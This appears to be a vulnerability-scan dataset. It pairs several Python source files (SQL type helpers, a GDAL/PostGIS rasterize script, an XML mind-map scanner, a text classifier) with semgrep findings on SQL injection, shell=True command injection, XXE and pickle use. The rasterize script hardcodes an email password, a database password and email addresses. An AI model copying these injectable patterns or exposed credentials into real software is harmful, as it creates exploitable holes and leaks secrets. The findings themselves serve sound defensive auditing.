if PRI:
strs=strs+" PRIMARY KEY"
if A_L:
strs=strs+" AUTOINCREMENT"
return strs
def varchar(LEN=32,DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False,FULLTEXT=False):
strs="VARCHAR("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
elif DEFAULT=='':
strs=strs+" DEFAULT ''"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if INDEX:
strs=strs+" INDEX"
if FULLTEXT:
strs=strs+" FULLTEXT"
return strs
def text(NULL=False):
if dbtype.conf['type']=='mysql':
strs="TEXT CHARACTER SET utf8 COLLATE utf8_general_ci"
else:
strs="TEXT"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
return strs
def char(LEN=16,DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False):
strs=" CHAR("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
elif DEFAULT=='':
strs=strs+" DEFAULT ''"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if INDEX:
strs=strs+" INDEX"
return strs
def decimat(LEN="10,2",DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False):
"小数类型"
strs="DECIMAL("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
elif DEFAULT=='':
strs=strs+" DEFAULT ''"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if INDEX:
strs=strs+" INDEX"
return strs
def date(NULL=False):
strs=" DATE"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
return strs | 220 | 26.09 | 151 | 16 | 1,534 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_b70349a0fc9c0d61_33036c45", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 9, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/b70349a0fc9c0d61.py", "start": {"line": 26, "col": 9, "offset": 693}, "end": {"line": 26, "col": 32, "offset": 716}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
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] | [
"HIGH"
] | model.py | /utill/db/model.py | fengshukun/kcweb | MIT | |
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} | 2.421875 | stackv2 | #-------------------------------------------------------------------------------
# Name: CLUS_GDAL_Rasterize_VRI
# Purpose: This script is designed to read a list of input PostGIS source
# Vectors and Rasterize them to GeoTiff using GDAL Rasterize and
# then load them into PostGIS as rasters using raster2pgsql
#
# Author: Mike Fowler
# Spatial Data Analyst
# Forest Analysis and Inventory Branch - BC Government
# Workflow developed by Kyle Lochhead, converted into Python Script
#
# Created: 30-01-2019
#
#-------------------------------------------------------------------------------
import os, sys, subprocess
import shutil, getpass, datetime
#--Globals
global kennyloggins
pfx = os.path.basename(os.path.splitext(sys.argv[0])[0])
logTime = ''
def send_email(user, pwd, recipient, subject, body):
import smtplib
FROM = user
TO = recipient if isinstance(recipient, list) else [recipient]
SUBJECT = subject
TEXT = body
# Prepare actual message
message = """From: %s\nTo: %s\nSubject: %s\n\n%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
try:
#server = smtplib.SMTP("smtp.gmail.com", 587)
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.ehlo()
#server.starttls()
server.login(user, pwd)
server.sendmail(FROM, TO, message)
server.close()
WriteLog(kennyloggins, 'Successfully sent the mail')
except Exception as e:
WriteLog(kennyloggins, "****Failed to send mail****")
def WriteOutErrors(lstErrors):
errLog = os.path.join(os.path.dirname(sys.argv[0]), pfx + logTime + ".errors.log")
fLog = open(errLog, 'w')
lstLog = []
lstLog.append("------------------------------------------------------------------\n")
lstLog.append("Error Log file for {0}\n".format(sys.argv[0]))
lstLog.append("Date:{0} \n".format(datetime.datetime.now().strftime("%B %d, %Y - %H%M")))
lstLog.append("User:{}\n".format(getpass.getuser()))
lstLog.append("\n")
lstLog.append("------------------------------------------------------------------\n")
sLog = ''.join(lstLog)
fLog.write(sLog)
fLog.write("List of Errors from Script------------------------------------------------------------\n")
for err in lstErrors:
fLog.write('{0}\n'.format(str(err)))
fLog.write("------------------------------------------------------------------\n")
fLog.close()
def CreateLogFile(bMsg=False):
global logTime
logTime = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
currLog = os.path.join(os.path.dirname(sys.argv[0]), pfx + datetime.datetime.now().strftime("%Y%m%d_%H%M%S.log"))
fLog = open(currLog, 'w')
lstLog = []
lstLog.append("------------------------------------------------------------------\n")
lstLog.append("Log file for {0}\n".format(sys.argv[0]))
lstLog.append("Date:{0} \n".format(datetime.datetime.now().strftime("%B %d, %Y - %H%M")))
lstLog.append("User:{}\n".format(getpass.getuser()))
lstLog.append("\n")
lstLog.append("------------------------------------------------------------------\n")
sLog = ''.join(lstLog)
fLog.write(sLog)
if bMsg:
print(sLog)
return fLog
def WriteLog(fLog, sMessage, bMsg=False):
ts = datetime.datetime.now().strftime("%B %d, %Y - %H%M")
sMsg = '{0} - {1}'.format(ts, sMessage)
fLog.write(sMsg)
if bMsg:
print(sMsg)
def LoadListFromCSV(inCSV):
import csv
processLst = []
with open(inCSV) as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
line_count = 0
for row in csv_reader:
if line_count == 0:
pass
#print(row)
else:
#print('{0}-{1}-{2}'.format(row[0], row[1], row[2]))
processLst.append([row[0], row[1], row[2], row[3]])
line_count += 1
return processLst
def Rasterize(db, sql, fld, outWrk, outName):
print('Rasterize..........................')
db = 'PG:"{0}"'.format(db)
fld = fld.lower()
outTIFF = os.path.join(outWrk, '{0}.tif'.format(outName))
sql = '"{0}"'.format(sql)
print('-----{0}'.format(db))
print('-----{0}'.format(fld))
print('-----{0}'.format(outTIFF))
print('-----{0}'.format(sql))
#--Build the command to run the GDAL Rasterize
cmd = 'gdal_rasterize -tr 100 100 -te 273287.5 359687.5 1870587.5 1735787.5 -a {0} {1} -sql {2} {3}'.format(fld, db, sql, outTIFF)
print ('-----Running CMD:\n-----{0}'.format(cmd) )
print (outTIFF )
try:
#subprocess.call(cmd, shell=True)
subprocess.check_output(cmd, shell=True)
except subprocess.CalledProcessError as e:
print(e.output)
raise Exception(str(e.output))
except :
print(str(e))
raise Exception(str(e))
return outTIFF
def TIFF2PostGIS(tiff, db, outName):
print('TIFF2PostGIS..........................')
print('-----{0}'.format(tiff))
print('-----{0}'.format(db))
print('-----{0}'.format(outName))
cmd = 'raster2pgsql -s 3005 -d -I -C -M {0} -t 100x100 {1} | psql {2}'.format(tiff, outName, db)
print ('-----Running CMD:\n-----{0}'.format(cmd) )
try:
#subprocess.call(cmd, shell=True)
subprocess.check_output(cmd, shell=True)
except subprocess.CalledProcessError as e:
print(e.output)
raise Exception(str(e.output))
except:
print(str(e))
raise Exception(str(e))
if __name__ == '__main__':
emailPwd = 'bruins26'
#--Create a Log File
kennyloggins = CreateLogFile(True)
#--Read inputs into a Processing List
inputCSV = os.path.join(os.path.dirname(sys.argv[0]), 'CLUS_GDAL_Rasterize_VRI_Input.csv')
processList =LoadListFromCSV(inputCSV)
errList = []
bRemoveTIFF = False
bSendEmails = True
#srcDB = "host='localhost' dbname = 'postgres' port='5432' user='postgres' password='postgres'"
#outDB = "-d postgres"
#tiffWork = r'C:\Users\mwfowler\tiff'
tiffWork = r'C:\Users\KLOCHHEA'
srcDB = "host='DC052586.idir.bcgov' dbname = 'clus' port='5432' user='postgres' password='postgres'"
outDB = "-d clus"
for itm in processList:
#--Only process the input records with a PROCESS = 'Y'
if itm[3].upper() == 'Y':
outName = itm[0]
fld = itm[1]
sql = itm[2]
WriteLog(kennyloggins, 'Processing:{0}\n'.format(str(itm)), True)
try:
WriteLog(kennyloggins, 'Running Rasterize....\n', True)
#--Rasterize the source to Tiff
outTIFF = Rasterize(srcDB, sql, fld, tiffWork, outName)
WriteLog(kennyloggins, 'Running TIFF2PostGIS....\n', True)
#--Load the TIFF to Postgres
TIFF2PostGIS(outTIFF, outDB, outName)
#--Delete the TIFF if flagged to do so
if bRemoveTIFF:
os.remove(outTIFF)
if bSendEmails:
send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', 'CLUS-Rasterize-Processed', '{0}\n{1}\n'.format(outDB, str(itm)))
except:
WriteLog(kennyloggins, 'Error: {0}\n'.format(str(e)), True)
if bSendEmails:
send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', '***CLUS-Rasterize-Error***', '{0}\n{1}'.format(str(itm), str(e)))
errList.append(itm)
if len(errList) > 0:
WriteLog(kennyloggins, 'Writing out Errors......\n', True)
WriteOutErrors(errList)
if bSendEmails:
send_email('mfowler.bc@gmail.com', emailPwd, 'mike.fowler@gov.bc.ca', 'CLUS-Rasterize-Complete', 'The script finished\n')
kennyloggins.close()
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You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 132, "line_end": 132, "column_start": 9, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 132, "col": 9, "offset": 5331}, "end": {"line": 132, "col": 49, "offset": 5371}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. 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You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_37e035776bd78f16_772f6de3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. 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"CWE-78",
"CWE-78",
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
115,
115,
132,
132
] | [
115,
115,
132,
132
] | [
9,
44,
9,
44
] | [
49,
48,
49,
48
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess'... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"HIGH",
"LOW",
"HIGH"
] | [
"HIGH",
"LOW",
"HIGH",
"LOW"
] | CLUS_GDAL_Rasterize_VRI.py | /Python/VRI/CLUS_GDAL_Rasterize_VRI.py | ElizabethKleynhans/clus | Apache-2.0 | |
2024-11-18T18:39:56.084935+00:00 | 1,671,611,487,000 | 258974f7767b64eae422bdc688f06fff85c9aee9 | 3 | {
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"visit_date": "2023-01-14T02:15:50.819634"
} | 2.765625 | stackv2 | #!python3
from xml.etree import ElementTree as et
import glob
import os
import pathlib
import string
import collections
import copy
import inspect
import shlex
import zipfile
try:
import zlib
compression = zipfile.ZIP_DEFLATED
except:
compression = zipfile.ZIP_STORED
class SearchModelContext(collections.MutableMapping):
def __init__(self, filenames = None):
super(SearchModelContext, self).__init__()
if filenames != None:
self.filenames = filenames
self.length = 1
self.count = 1
def merge(self, other):
self.filenames = self.filenames + other.filenames
def getNames(self):
names = []
for path in self.filenames:
filename = os.path.basename(path)
if filename not in names:
names.append(filename)
return names
def copy(self):
self_copy = SearchModelContext()
for k, v in inspect.getmembers(self):
if k != '__weakref__':
setattr(self_copy, k, v)
return self_copy
def __getitem__(self, key):
return getattr(self, key)
def __setitem__(self, key, value):
if not hasattr(self, key):
self.length = self.length + 1
self.count = self.count + 1
setattr(self, key, value)
def __delitem__(self, key):
delattr(self, key)
self.length = self.length - 1
self.count = self.count - 1
def __iter__(self):
return self.__dict__.items()
def __len__(self):
return self.length
def __keytransform__(self, key):
return key
def read_smmx_as_words(filename):
try:
with zipfile.ZipFile(filename, mode='r') as smmx:
with smmx.open('document/mindmap.xml', mode='r') as document:
try:
etree = et.fromstring(document.read())
notags = et.tostring(etree, encoding='utf8', method='text')
word_list = notags.split()
words = {word_list[i].decode("utf-8").lower(): SearchModelContext(
[filename]) for i in range(0, len(word_list))}
return words
except:
print("ERRROR!!! Invalid XML!!!")
print(filename)
return {}
except:
print("ERRROR!!! Invalid ZIP!!!")
print(filename)
return {}
def scan(rootdir):
words = {}
paths = []
for filename in glob.iglob(rootdir + '/**', recursive=True):
if os.path.isfile(filename): # filter dirs
if pathlib.Path(filename).suffix == '.smmx':
paths.append(filename)
file_words = read_smmx_as_words(filename)
for word in file_words:
if (word not in words):
words[word] = file_words[word]
else:
words[word].merge(file_words[word])
return words, paths
| 103 | 28.49 | 86 | 21 | 656 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_972abfc4c87aabe6_a7ea718d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 1, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/972abfc4c87aabe6.py", "start": {"line": 3, "col": 1, "offset": 11}, "end": {"line": 3, "col": 40, "offset": 50}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
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] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
3
] | [
3
] | [
1
] | [
40
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | smmx.py | /scanners/smmx.py | psxvoid/simple-mind-quick-search | MIT | |
2024-11-18T18:39:58.198406+00:00 | 1,612,321,096,000 | 7d9fdebc58e5d419d1e049d1cfb9091413b522f9 | 3 | {
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} | 2.96875 | stackv2 | import sys
import numpy as np
import pandas as pd
from sqlalchemy import create_engine
import re
import pickle
import nltk
from nltk.tokenize import word_tokenize,sent_tokenize
from nltk.stem import WordNetLemmatizer
from nltk.corpus import stopwords
from sklearn.metrics import confusion_matrix
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier,AdaBoostClassifier
from sklearn.naive_bayes import MultinomialNB
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer, TfidfVectorizer
from sklearn.multioutput import MultiOutputClassifier
from sklearn.naive_bayes import MultinomialNB
from sklearn.pipeline import Pipeline
from sklearn.metrics import classification_report
from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score
from sklearn.model_selection import GridSearchCV
nltk.download(['punkt','stopwords','wordnet'])
def load_data(database_filepath):
""" Takes input database file path and creates sqlite engine and returns data frames used for our model and category names """
engine = create_engine('sqlite:///'+ database_filepath)
df = pd.read_sql_table('messages', engine)
X = df.message
Y = df.iloc[:,4:]
category_names = list(df.columns[4:])
return X, Y, category_names
def tokenize(text):
""" Cleans the data files which is given as text to numerical for us to perform machine learning classification """
text = re.sub(r"[^a-zA-Z0-9]", " ", text.lower())
tokens = word_tokenize(text)
lemmatizer = WordNetLemmatizer()
clean_tokens = []
for tok in tokens:
clean_tok = lemmatizer.lemmatize(tok).lower().strip()
clean_tokens.append(clean_tok)
return clean_tokens
def build_model():
""" Machine learning pipeline is created """
pipeline = Pipeline([
('vect', CountVectorizer(tokenizer=tokenize)),
('tfidf', TfidfTransformer()),
('clf', MultiOutputClassifier(RandomForestClassifier()))
])
parameters = {
'vect__min_df': [1, 5],
'tfidf__use_idf':[True, False],
'clf__estimator__n_estimators':[10, 20]
}
cv = GridSearchCV(pipeline, param_grid=parameters)
return cv
def evaluate_model(model, X_test, Y_test, category_names):
""" takes model,data and category names as inputs and evaluates it and generates classification report """
y_pred = model.predict(X_test)
pred_data = pd.DataFrame(y_pred, columns = category_names)
for column in category_names:
print('_ '* 50 )
print('\n')
print('column: {}\n'.format(column))
print(classification_report(Y_test[column],pred_data[column]))
def save_model(model, model_filepath):
""" dumps model as pickle so it can be used later """
pickle.dump(model, open(model_filepath, 'wb'))
def main():
""" Performs and shows how model is performing and also error message when encountered with error """
if len(sys.argv) == 3:
database_filepath, model_filepath = sys.argv[1:]
print('Loading data...\n DATABASE: {}'.format(database_filepath))
X, Y, category_names = load_data(database_filepath)
X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)
print('Building model...')
model = build_model()
print('Training model...')
model.fit(X_train, Y_train)
print('Evaluating model...')
evaluate_model(model, X_test, Y_test, category_names)
print('Saving model...\n MODEL: {}'.format(model_filepath))
save_model(model, model_filepath)
print('Trained model saved!')
else:
print('Please provide the filepath of the disaster messages database '\
'as the first argument and the filepath of the pickle file to '\
'save the model to as the second argument. \n\nExample: python '\
'train_classifier.py ../data/DisasterResponse.db classifier.pkl')
if __name__ == '__main__':
main()
| 158 | 25.84 | 130 | 14 | 921 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ac0f7f5950790475_1b711990", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 5, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ac0f7f5950790475.py", "start": {"line": 125, "col": 5, "offset": 2987}, "end": {"line": 125, "col": 51, "offset": 3033}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
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"security"
] | [
"LOW"
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] | [
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] | [
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"A08:2017 - Insecure Deserialization"
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] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | train_classifier.py | /models/train_classifier.py | JayaPrakas/udacity_disaster_pipeline | MIT | |
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} | 2.46875 | stackv2 | import os
import numpy as np
import matplotlib as mpl
from scipy.signal import sawtooth
from pymor.models.iosys import PHLTIModel, LTIModel
from algorithm.methods import IODMDMethod, PHDMDMethod, OIMethod
from model.msd import msd
from model.poro import poro
class Experiment:
"""
Class for experiments.
Parameters
----------
name: str
The name of the experiment.
model: str
The name of the model of the experiment.
fom : function
Function for getting port-Hamiltonian system matrices.
u : function
Training input function.
T : numpy.ndarray
Training time interval.
x0 : numpy.ndarray
Training initial condition.
time_stepper : str, optional
Name of the time stepping method. Default 'implicit_midpoint'.
"""
def __init__(self, name, model, fom, u, T, x0, time_stepper='implicit_midpoint', u_test=None, T_test=None,
x0_test=None, r=None, noise=None, methods=None):
if methods is None:
methods = [PHDMDMethod()]
self.name = name
self.model = model
H, J, R, G, P, S, N = fom()
self.fom = PHLTIModel.from_matrices(J, R, G, P, S, N, H)
self.H = H
self.u = u
self.T = T
self.x0 = x0
self.delta = T[1] - T[0]
self.time_stepper = time_stepper
if u_test is None:
u_test = u
if T_test is None:
T_test = T
if x0_test is None:
x0_test = x0
self.u_test = u_test
self.T_test = T_test
self.x0_test = x0_test
self.r = r
self.noise = noise
self.methods = methods
siso_msd_exp = Experiment(
name='SISO_MSD',
model='msd',
fom=lambda: msd(6, 1),
u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]),
T=np.linspace(0, 4, 101),
x0=np.zeros(6),
u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]),
T_test=np.linspace(0, 10, 251),
x0_test=np.zeros(6)
)
siso_msd_exp_1 = Experiment(
name='SISO_MSD',
model='msd',
fom=lambda: msd(6, 1),
u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]),
T=np.linspace(0, 4, 101),
x0=np.zeros(6),
u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]),
T_test=np.linspace(0, 10, 251),
x0_test=np.zeros(6),
methods=[IODMDMethod(), PHDMDMethod()],
)
siso_msd_exp_2 = Experiment(
name='SISO_MSD_small_delta',
model='msd',
fom=lambda: msd(6, 1),
u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]),
T=np.linspace(0, 4, 40001),
x0=np.zeros(6),
u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]),
T_test=np.linspace(0, 10, 100001),
x0_test=np.zeros(6),
methods=[IODMDMethod(), PHDMDMethod()],
)
siso_msd_exp_3 = Experiment(
name='SISO_MSD_RK45',
model='msd',
fom=lambda: msd(6, 1),
u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]),
T=np.linspace(0, 4, 101),
x0=np.zeros(6),
time_stepper='RK45',
u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]),
T_test=np.linspace(0, 10, 251),
x0_test=np.zeros(6),
methods=[IODMDMethod(), PHDMDMethod()],
)
siso_msd_exp_4 = Experiment(
name='SISO_MSD_noisy',
model='msd',
fom=lambda: msd(6, 1),
u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]),
T=np.linspace(0, 4, 101),
x0=np.zeros(6),
u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]),
T_test=np.linspace(0, 10, 251),
x0_test=np.zeros(6),
noise=1e-4,
methods=[OIMethod(), PHDMDMethod()],
)
mimo_msd_exp = Experiment(
name='MIMO_MSD',
model='msd',
fom=lambda: msd(100, 2),
u=lambda t: np.array([np.exp(-0.5 / 100 * t) * np.sin(1 / 100 * t ** 2),
np.exp(-0.5 / 100 * t) * np.cos(1 / 100 * t ** 2)]),
T=np.linspace(0, 4 * 100, 100 * 100 + 1),
x0=np.zeros(100),
u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t), -sawtooth(2 * np.pi * 0.5 * t)]),
T_test=np.linspace(0, 10, 251),
x0_test=np.zeros(100),
methods=[OIMethod(), PHDMDMethod()],
)
poro_exp = Experiment(
name='PORO',
model='poro',
fom=lambda: poro(980),
u=lambda t: np.array([np.exp(-0.5 / 100 * t) * np.sin(1 / 100 * t ** 2),
np.exp(-0.5 / 100 * t) * np.cos(1 / 100 * t ** 2)]),
T=np.linspace(0, 4 * 100, 100 * 100 + 1),
x0=np.zeros(980),
u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t), -sawtooth(2 * np.pi * 0.5 * t)]),
T_test=np.linspace(0, 10, 251),
x0_test=np.zeros(980)
)
experiments = [siso_msd_exp, siso_msd_exp_1, siso_msd_exp_2, siso_msd_exp_3, siso_msd_exp_4]
# experiments = [mimo_msd_exp]
# experiments = [poro_exp]
save_results = False # If true all figures will be saved as pdf
width_pt = 420 # Get this from LaTeX using \the\textwidth
fraction = 0.49 if save_results else 1 # Fraction of width the figure will occupy
plot_format = 'pdf'
colors = np.array(mpl.colormaps['Set1'].colors)
plots_path = os.path.join('../plots')
data_path = os.path.join('../data')
simulations_path = os.path.join(data_path, 'simulations')
